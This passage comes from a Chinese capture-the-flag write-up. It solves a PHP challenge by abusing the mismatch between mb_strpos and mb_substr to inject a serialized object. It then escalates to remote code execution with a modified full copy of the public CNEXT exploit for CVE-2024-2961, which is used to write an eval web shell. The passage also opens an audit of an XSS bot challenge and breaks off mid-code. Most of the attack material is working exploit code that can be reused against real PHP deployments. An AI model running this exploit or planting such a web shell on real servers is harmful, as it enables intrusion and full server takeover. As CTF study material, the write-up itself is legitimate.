&apos;&apos;&apos;

headers = {
    &quot;Content-Type&quot;: &quot;text/plain&quot; # 避免 Flask 自动解析为 json 对象，保持 request.data 为原始数据
}

s = requests.Session()

print(&quot;Sending exploit...&quot;)
# 必须 verify=False 因为远程证书有问题
response = s.post(url, data=payload_str, headers=headers, verify=False)
print(f&quot;Status Code: {response.status_code}&quot;)
print(f&quot;Response Text: {response.text}&quot;)

# Step 2: Access /admin
print(&quot;Accessing /admin...&quot;)
response_admin = s.get(url + &quot;admin&quot;, verify=False)
print(f&quot;Admin Status Code: {response_admin.status_code}&quot;)
print(f&quot;Admin Response Text: {response_admin.text}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ezzz_php&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224210059541-1766670360263-11.png&quot; alt=&quot;image-20251224210059541&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, &quot;[&quot;);
    $end = mb_strpos($data, &quot;]&quot;);
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
    public $start;
    public $filename=&quot;/etc/passwd&quot;;
    public function __construct($start){
        $this-&amp;gt;start=$start;
    }
    public function __destruct(){
        if($this-&amp;gt;start == &quot;gxngxngxn&quot;){
           echo &apos;What you are reading is:&apos;.file_get_contents($this-&amp;gt;filename);
        }
    }
}
if(isset($_GET[&apos;start&apos;])){
    $readfile = new read_file($_GET[&apos;start&apos;]);
    $read=isset($_GET[&apos;read&apos;])?$_GET[&apos;read&apos;]:&quot;I_want_to_Read_flag&quot;;
    if(preg_match(&quot;/\[|\]/i&quot;, $_GET[&apos;read&apos;])){
        die(&quot;NONONO!!!&quot;);
    }
    $ctf = substrstr($read.&quot;[&quot;.serialize($readfile).&quot;]&quot;);
    unserialize($ctf);
}else{
    echo &quot;Start_Funny_CTF!!!&quot;;
} Start_Funny_CTF!!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先start读取&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?start=gxngxngxn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224203744893-1766670360263-12.png&quot; alt=&quot;image-20251224203744893&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先本地生成一个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
highlight_file(__FILE__);
error_reporting(0);

function substrstr($data)
{
    $start = mb_strpos($data, &quot;[&quot;);
    echo $start.&apos;&amp;lt;br&amp;gt;&apos;;
    $end = mb_strpos($data, &quot;]&quot;);
    echo $end.&apos;&amp;lt;br&amp;gt;&apos;;
    return mb_substr($data, $start, $end + 1 - $start);
}

$key = substrstr($_GET[0].&quot;[welcome&quot;.$_GET[1].&quot;sdpcsec]&quot;);
echo $key;

class read_file{
    public $start;
    public $filename=&quot;/etc/passwd&quot;;
    public function __construct($start){
        $this-&amp;gt;start=$start;
    }
    public function __destruct(){
        if($this-&amp;gt;start == &quot;gxngxngxn&quot;){
            echo &apos;What you are reading is:&apos;.file_get_contents($this-&amp;gt;filename);
        }
    }
}
$readfile=new read_file(&quot;aaaaaaa&quot;);
echo serialize($readfile);

/*O:9:&quot;read_file&quot;:2:{s:5:&quot;start&quot;;s:7:&quot;aaaaaaa&quot;;s:8:&quot;filename&quot;;s:11:&quot;/etc/passwd&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于只有&lt;code&gt;$read&lt;/code&gt;所以我们要选择前移的参数&lt;code&gt;%9f&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, &quot;[&quot;);
    $end = mb_strpos($data, &quot;]&quot;);
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class read_file
{
    public $start;
    public $filename = &quot;/etc/passwd&quot;;

    public function __construct($start)
    {
        $this-&amp;gt;start = $start;
    }

    public function __destruct()
    {
        if ($this-&amp;gt;start == &quot;gxngxngxn&quot;) {
            echo &apos;What you are reading is:&apos; . file_get_contents($this-&amp;gt;filename);
        }
    }
}

if (isset($_GET[&apos;start&apos;])) {
    $readfile = new read_file($_GET[&apos;start&apos;]);
    $read = isset($_GET[&apos;read&apos;]) ? $_GET[&apos;read&apos;] : &quot;I_want_to_Read_flag&quot;;
    if (preg_match(&quot;/\[|\]/i&quot;, $_GET[&apos;read&apos;])) {
        die(&quot;NONONO!!!&quot;);
    }
    $ctf = substrstr($read . &quot;[&quot; . serialize($readfile) . &quot;]&quot;);
    unserialize($ctf);
    echo $ctf;
} else {
    echo &quot;Start_Funny_CTF!!!&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里可以echo测试，注意，拼接上去的字符串不能有&lt;code&gt;[&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224204419132-1766670360263-13.png&quot; alt=&quot;image-20251224204419132&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中其中需要的%9f即为&lt;strong&gt;后面字符串的长度+1。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224151912780-1766670360263-14.png&quot; alt=&quot;image-20251224151912780&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?start=aaaaaaaa&amp;amp;read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:&quot;read_file&quot;:2:{s:5:&quot;start&quot;;s:9:&quot;gxngxngxn&quot;;s:8:&quot;filename&quot;;s:10:&quot;/etc/hosts&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224210246328-1766670360263-15.png&quot; alt=&quot;image-20251224210246328&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后任意文件读取变为RCE，这里是&lt;strong&gt;CVE-2024-2961&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;原poc&lt;a href=&quot;https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py&quot;&gt;cnext-exploits/cnext-exploit.py at main · ambionics/cnext-exploits&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;命令执行&lt;a href=&quot;https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md&quot;&gt;vulhub/php/CVE-2024-2961/README.zh-cn.md at master · vulhub/vulhub&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其中修改的地方&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def send(self, path: str) -&amp;gt; Response:
    payload_file = &apos;O:9:&quot;read_file&quot;:2:{s:5:&quot;start&quot;;s:9:&quot;gxngxngxn&quot;;s:8:&quot;filename&quot;;s:&apos; + str(
        len(path)) + &apos;:&quot;&apos; + path + &apos;&quot;;}&apos;
    payload = &quot;%9f&quot; * (len(payload_file) + 1) + payload_file.replace(&quot;+&quot;, &quot;%2b&quot;)
    filename_len = &quot;a&quot; * (len(path) + 10)
    url = self.url + f&quot;?start={filename_len}&amp;amp;read={payload}&quot;
    return self.session.get(url)

def download(self, path: str) -&amp;gt; bytes:
    &quot;&quot;&quot;Returns the contents of a remote file.
    &quot;&quot;&quot;
    path = f&quot;php://filter/convert.base64-encode/resource={path}&quot;
    response = self.send(path)
    data = response.re.search(b&quot;What you are reading is:(.*)&quot;, flags=re.S).group(1)
    return base64.decode(data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#

from __future__ import annotations

import base64
import zlib
from dataclasses import dataclass

from pwn import *
from requests.exceptions import ChunkedEncodingError, ConnectionError
from ten import *

HEAP_SIZE = 2 * 1024 * 1024
BUG = &quot;劄&quot;.encode(&quot;utf-8&quot;)


class Remote:
    &quot;&quot;&quot;A helper class to send the payload and download files.

    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.

    The code here serves as an example that attacks a page that looks like:

    ```php
    &amp;lt;?php

    $data = file_get_contents($_POST[&apos;file&apos;]);
    echo &quot;File contents: $data&quot;;
    ```

    Tweak it to fit your target, and start the exploit.
    &quot;&quot;&quot;

    def __init__(self, url: str) -&amp;gt; None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -&amp;gt; Response:
        &quot;&quot;&quot;Sends given `path` to the HTTP server. Returns the response.
        &quot;&quot;&quot;
        payload_file = &apos;O:9:&quot;read_file&quot;:2:{s:5:&quot;start&quot;;s:9:&quot;gxngxngxn&quot;;s:8:&quot;filename&quot;;s:&apos; + str(len(path)) + &apos;:&quot;&apos; + path + &apos;&quot;;}&apos;
        payload = &quot;%9f&quot; * (len(payload_file) + 1) + payload_file.replace(&quot;+&quot;,&quot;%2b&quot;)
        filename_len = &quot;a&quot; * (len(path) + 10)
        url = self.url+f&quot;?start={filename_len}&amp;amp;read={payload}&quot;
        return self.session.get(url)

    def download(self, path: str) -&amp;gt; bytes:
        &quot;&quot;&quot;Returns the contents of a remote file.
        &quot;&quot;&quot;
        path = f&quot;php://filter/convert.base64-encode/resource={path}&quot;
        response = self.send(path)
        data = response.re.search(b&quot;What you are reading is:(.*)&quot;, flags=re.S).group(1)
        return base64.decode(data)


@entry
@arg(&quot;url&quot;, &quot;Target URL&quot;)
@arg(&quot;command&quot;, &quot;Command to run on the system; limited to 0x140 bytes&quot;)
@arg(&quot;sleep_time&quot;, &quot;Time to sleep to assert that the exploit worked. By default, 1.&quot;)
@arg(&quot;heap&quot;, &quot;Address of the main zend_mm_heap structure.&quot;)
@arg(
    &quot;pad&quot;,
    &quot;Number of 0x100 chunks to pad with. If the website makes a lot of heap &quot;
    &quot;operations with this size, increase this. Defaults to 20.&quot;,
)
@dataclass
class Exploit:
    &quot;&quot;&quot;CNEXT exploit: RCE using a file read primitive in PHP.&quot;&quot;&quot;

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger(&quot;EXPLOIT&quot;)
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -&amp;gt; None:
        &quot;&quot;&quot;Checks whether the target is reachable and properly allows for the various
        wrappers and filters that the exploit needs.
        &quot;&quot;&quot;

        def safe_download(path: str) -&amp;gt; bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure(&quot;Target not [b]reachable[/] ?&quot;)

        def check_token(text: str, path: str) -&amp;gt; bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f&quot;data:text/plain;base64,{base64}&quot;

        result = safe_download(path)

        if text not in result:
            msg_failure(&quot;Remote.download did not return the test string&quot;)
            print(&quot;--------------------&quot;)
            print(f&quot;Expected test string: {text}&quot;)
            print(f&quot;Got: {result}&quot;)
            print(&quot;--------------------&quot;)
            failure(&quot;If your code works fine, it means that the [i]data://[/] wrapper does not work&quot;)

        msg_info(&quot;The [i]data://[/] wrapper works&quot;)

        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f&quot;php://filter//resource=data:text/plain;base64,{base64}&quot;
        if not check_token(text, path):
            failure(&quot;The [i]php://filter/[/] wrapper does not work&quot;)

        msg_info(&quot;The [i]php://filter/[/] wrapper works&quot;)

        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f&quot;php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}&quot;

        if not check_token(text, path):
            failure(&quot;The [i]zlib[/] extension is not enabled&quot;)

        msg_info(&quot;The [i]zlib[/] extension is enabled&quot;)

        msg_success(&quot;Exploit preconditions are satisfied&quot;)

    def get_file(self, path: str) -&amp;gt; bytes:
        with msg_status(f&quot;Downloading [i]{path}[/]...&quot;):
            return self.remote.download(path)

    def get_regions(self) -&amp;gt; list[Region]:
        &quot;&quot;&quot;Obtains the memory regions of the PHP process by querying /proc/self/maps.&quot;&quot;&quot;
        maps = self.get_file(&quot;/proc/self/maps&quot;)
        maps = maps.decode()
        PATTERN = re.compile(
            r&quot;^([a-f0-9]+)-([a-f0-9]+)\b&quot; r&quot;.*&quot; r&quot;\s([-rwx]{3}[ps])\s&quot; r&quot;(.*)&quot;
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if &quot;/&quot; in path or &quot;[&quot; in path:
                    path = path.rsplit(&quot; &quot;, 1)[-1]
                else:
                    path = &quot;&quot;
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure(&quot;Unable to parse memory mappings&quot;)

        self.log.info(f&quot;Got {len(regions)} memory regions&quot;)

        return regions

    def get_symbols_and_addresses(self) -&amp;gt; None:
        &quot;&quot;&quot;Obtains useful symbols and addresses from the file read primitive.&quot;&quot;&quot;
        regions = self.get_regions()

        LIBC_FILE = &quot;/dev/shm/cnext-libc&quot;

        # PHP&apos;s heap

        self.info[&quot;heap&quot;] = self.heap or self.find_main_heap(regions)

        # Libc

        libc = self._get_region(regions, &quot;libc-&quot;, &quot;libc.so&quot;)

        self.download_file(libc.path, LIBC_FILE)

        self.info[&quot;libc&quot;] = ELF(LIBC_FILE, checksec=False)
        self.info[&quot;libc&quot;].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -&amp;gt; Region:
        &quot;&quot;&quot;Returns the first region whose name matches one of the given names.&quot;&quot;&quot;
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure(&quot;Unable to locate region&quot;)

        return region

    def download_file(self, remote_path: str, local_path: str) -&amp;gt; None:
        &quot;&quot;&quot;Downloads `remote_path` to `local_path`&quot;&quot;&quot;
        data = self.get_file(remote_path)
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -&amp;gt; Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == &quot;rw-p&quot;
            and region.size &amp;gt;= HEAP_SIZE
            and region.stop &amp;amp; (HEAP_SIZE - 1) == 0
            and region.path == &quot;&quot;
        ]

        if not heaps:
            failure(&quot;Unable to find PHP&apos;s main heap in memory&quot;)

        first = heaps[0]

        if len(heaps) &amp;gt; 1:
            heaps = &quot;, &quot;.join(map(hex, heaps))
            msg_info(f&quot;Potential heaps: [i]{heaps}[/] (using first)&quot;)
        else:
            msg_info(f&quot;Using [i]{hex(first)}[/] as heap&quot;)

        return first

    def run(self) -&amp;gt; None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -&amp;gt; str:
        &quot;&quot;&quot;

        On each step of the exploit, a filter will process each chunk one after the
        other. Processing generally involves making some kind of operation either
        on the chunk or in a destination chunk of the same size. Each operation is
        applied on every single chunk; you cannot make PHP apply iconv on the first 10
        chunks and leave the rest in place. That&apos;s where the difficulties come from.

        Keep in mind that we know the address of the main heap, and the libraries.
        ASLR/PIE do not matter here.

        The idea is to use the bug to make the freelist for chunks of size 0x100 point
        lower. For instance, we have the following free list:

        ... -&amp;gt; 0x7fffAABBCC900 -&amp;gt; 0x7fffAABBCCA00 -&amp;gt; 0x7fffAABBCCB00

        By triggering the bug from chunk ..900, we get:

        ... -&amp;gt; 0x7fffAABBCCA00 -&amp;gt; 0x7fffAABBCCB48 -&amp;gt; ???

        That&apos;s step 3.

        Now, in order to control the free list, and make it point whereever we want,
        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
        we&apos;d have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
        That&apos;s step 2.

        Now, if we were to perform step2 an then step3 without anything else, we&apos;d have
        a problem: after step2 has been processed, the free list goes bottom-up, like:

        0x7fffAABBCCB00 -&amp;gt; 0x7fffAABBCCA00 -&amp;gt; 0x7fffAABBCC900

        We need to go the other way around. That&apos;s why we have step 1: it just allocates
        chunks. When they get freed, they reverse the free list. Now step2 allocates in
        reverse order, and therefore after step2, chunks are in the correct order.

        Another problem comes up.

        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
        Since step2 creates chunks that contain pointers and pointers are generally not
        UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
        To avoid this, we put the chunks in step2 at the very end of the chain, and
        prefix them with `0\n`. When dechunked (right before the iconv), they will
        &quot;disappear&quot; from the chain, preserving them from the character set conversion
        and saving us from an unwanted processing error that would stop the processing
        chain.

        After step3 we have a corrupted freelist with an arbitrary pointer into it. We
        don&apos;t know the precise layout of the heap, but we know that at the top of the
        heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
        Its free_slot[] array contains a pointer to each free list. By overwriting it,
        we can make PHP allocate chunks whereever we want. In addition, its custom_heap
        field contains pointers to hook functions for emalloc, efree, and erealloc
        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
        then overwrite the use_custom_heap flag to make PHP use these function pointers
        instead. We can now do our favorite CTF technique and get a call to
        system(&amp;lt;chunk&amp;gt;).
        We make sure that the &quot;system&quot; command kills the current process to avoid other
        system() calls with random chunk data, leading to undefined behaviour.

        The pad blocks just &quot;pad&quot; our allocations so that even if the heap of the
        process is in a random state, we still get contiguous, in order chunks for our
        exploit.

        Therefore, the whole process described here CANNOT crash. Everything falls
        perfectly in place, and nothing can get in the middle of our allocations.
        &quot;&quot;&quot;

        LIBC = self.info[&quot;libc&quot;]
        ADDR_EMALLOC = LIBC.symbols[&quot;__libc_malloc&quot;]
        ADDR_EFREE = LIBC.symbols[&quot;__libc_system&quot;]
        ADDR_EREALLOC = LIBC.symbols[&quot;__libc_realloc&quot;]

        ADDR_HEAP = self.info[&quot;heap&quot;]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b&quot;\x00&quot; * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b&quot;\x00&quot; * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk &quot;crash&quot;

        step2_size = 0x48
        step2 = b&quot;\x00&quot; * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b&quot;0\n&quot;.ljust(step2_size, b&quot;\x00&quot;) + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b&quot;\x00&quot; * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b&quot;\x00&quot; * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b&quot;=00&quot; + b&quot;\x00&quot; * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap-&amp;gt;free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f&quot;kill -9 $PPID; {COMMAND}&quot;
        if self.sleep:
            COMMAND = f&quot;sleep {self.sleep}; {COMMAND}&quot;
        COMMAND = COMMAND.encode() + b&quot;\x00&quot;

        assert (
                len(COMMAND) &amp;lt;= step4_use_custom_heap_size
        ), f&quot;Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}&quot;
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b&quot;\x00&quot;)

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
                step4 * 3
                + step4_pwn
                + step4_custom_heap
                + step4_use_custom_heap
                + step3_overflow
                + pad * self.pad
                + step1 * 3
                + step2_write_ptr
                + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f&quot;data:text/plain;base64,{resource.decode()}&quot;

        filters = [
            # Create buckets
            &quot;zlib.inflate&quot;,
            &quot;zlib.inflate&quot;,

            # Step 0: Setup heap
            &quot;dechunk&quot;,
            &quot;convert.iconv.latin1.latin1&quot;,

            # Step 1: Reverse FL order
            &quot;dechunk&quot;,
            &quot;convert.iconv.latin1.latin1&quot;,

            # Step 2: Put fake pointer and make FL order back to normal
            &quot;dechunk&quot;,
            &quot;convert.iconv.latin1.latin1&quot;,

            # Step 3: Trigger overflow
            &quot;dechunk&quot;,
            &quot;convert.iconv.UTF-8.ISO-2022-CN-EXT&quot;,

            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            &quot;convert.quoted-printable-decode&quot;,
            &quot;convert.iconv.latin1.latin1&quot;,
        ]
        filters = &quot;|&quot;.join(filters)
        path = f&quot;php://filter/read={filters}/resource={resource}&quot;

        return path

    @inform(&quot;Triggering...&quot;)
    def exploit(self) -&amp;gt; None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass

        msg_print()

        if not self.sleep:
            msg_print(&quot;    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]&quot;)
        elif start + self.sleep &amp;lt;= time.time():
            msg_print(&quot;    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]&quot;)
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print(&quot;    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]&quot;)

        msg_print()


def compress(data) -&amp;gt; bytes:
    &quot;&quot;&quot;Returns data suitable for `zlib.inflate`.
    &quot;&quot;&quot;
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -&amp;gt; bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith(&quot;=&quot;):
        raise ValueError(f&quot;Misaligned: {data}&quot;)
    return payload.encode()


def compressed_bucket(data: bytes) -&amp;gt; bytes:
    &quot;&quot;&quot;Returns a chunk of size 0x8000 that, when dechunked, returns the data.&quot;&quot;&quot;
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -&amp;gt; bytes:
    &quot;&quot;&quot;Emulates quoted-printable-encode.
    &quot;&quot;&quot;
    return &quot;&quot;.join(f&quot;={x:02x}&quot; for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -&amp;gt; bytes:
    &quot;&quot;&quot;Creates a 0x8000 chunk that reveals pointers after every step has been ran.&quot;&quot;&quot;
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b&quot;&quot;.join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -&amp;gt; bytes:
    &quot;&quot;&quot;Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    &quot;&quot;&quot;
    # The caller does not care about the size: let&apos;s just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b&quot;\n\n&quot;)
    size = f&quot;{len(data):x}&quot;.rjust(size - keep, &quot;0&quot;)
    return size.encode() + b&quot;\n&quot; + data + b&quot;\n&quot;


@dataclass
class Region:
    &quot;&quot;&quot;A memory region.&quot;&quot;&quot;

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -&amp;gt; int:
        return self.stop - self.start


Exploit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;python3 exp.py url &quot;echo &apos;&amp;lt;?=@eval($_POST[0]);?&amp;gt;&apos; &amp;gt; 1.php&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224161823739-1766565671041-1-1766621306808-1-1766670360263-17.png&quot; alt=&quot;image-20251224161823739&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{105c9b5a-5bd3-4f6d-aa53-3d6763df9f98}&lt;/p&gt;
&lt;p&gt;其中mb_strpos与mb_substr执行差异黄河流域也考过，也是同一师傅出题&lt;/p&gt;
&lt;h2&gt;NewerFileDetector&lt;/h2&gt;
&lt;p&gt;这题目代码审计给我审爽了啊&lt;/p&gt;
&lt;p&gt;这里给了bot.py和app.py，审计代码&lt;/p&gt;
&lt;p&gt;bot.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from selenium import webdriver
import time
import os

# bot nodejs puppter selenium
flag = os.getenv(&quot;flag&quot;) if os.getenv(&quot;flag&quot;) is not None else &quot;flag{test}&quot;

option = webdriver.ChromeOptions()
option.add_argument(&apos;--headless&apos;)
option.add_argument(&apos;--no-sandbox&apos;)
option.add_argument(&apos;--disable-logging&apos;)
option.add_argument(&apos;--disable-dev-shm-usage&apos;)

browser = webdriver.Chrome(options=option)
cookie = {&apos;name&apos;: &apos;flag&apos;, &apos;value&apos;: flag, &apos;domain&apos;:&apos;localhost&apos;,&apos;httpOnly&apos;: False}

def visit(link):
	try:
		browser.get(&quot;http://localhost:5050/check&quot;) #检测是否为vip
		browser.add_cookie(cookie)
		page_source = browser.page_source
		print(page_source)
		if &quot;VIP&quot; not in page_source:
			return &quot;NONONO&quot; # pass
		print(cookie)
		url = &quot;http://localhost:5050/share?file=&quot; + link
		if &quot;..&quot; in url:
			return &quot;Get out!&quot;
		browser.get(url)
		time.sleep(1)
		browser.quit()
		print(&quot;success&quot;)
		return &quot;OK&quot;
	except Exception as e:
		print(e)
		return &quot;you broke the server,get out!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;审计bot.py，发现bot行为是先通过check检测是否为VIP，是的话访问http://localhost:5050/share?file={link}，其中cookie的domain设置为了localhost，也就是只有本地访问才能拿到flag，其中httpOnly，表示可以直接通过xss的document.cookie拿到flag&lt;/p&gt;
&lt;p&gt;先分点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;覆盖vip.json使check为vip&lt;/li&gt;
&lt;li&gt;magika代码审计&lt;/li&gt;
&lt;li&gt;xss得到flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;app.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask,request,session
import magika
import uuid
import json
import os
from bot import visit as bot_visit
import ast

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
app.static_folder = &apos;public/&apos;
vip_user = &quot;vip&quot;
vip_pwd = str(uuid.uuid4())
curr_dir = os.path.dirname(os.path.abspath(__file__))
CHECK_FOLDER = os.path.join(curr_dir,&quot;check&quot;)
USER_FOLDER = os.path.join(curr_dir,&quot;public/user&quot;)
mg = magika.Magika()    #深度学习

def isSecure(file_type):
	D_extns = [&quot;json&quot;,&apos;py&apos;,&apos;sh&apos;, &quot;html&quot;]
	if file_type in D_extns:
		return False
	return True

@app.route(&quot;/login&quot;,methods=[&apos;GET&apos;,&apos;POST&apos;])
def login():
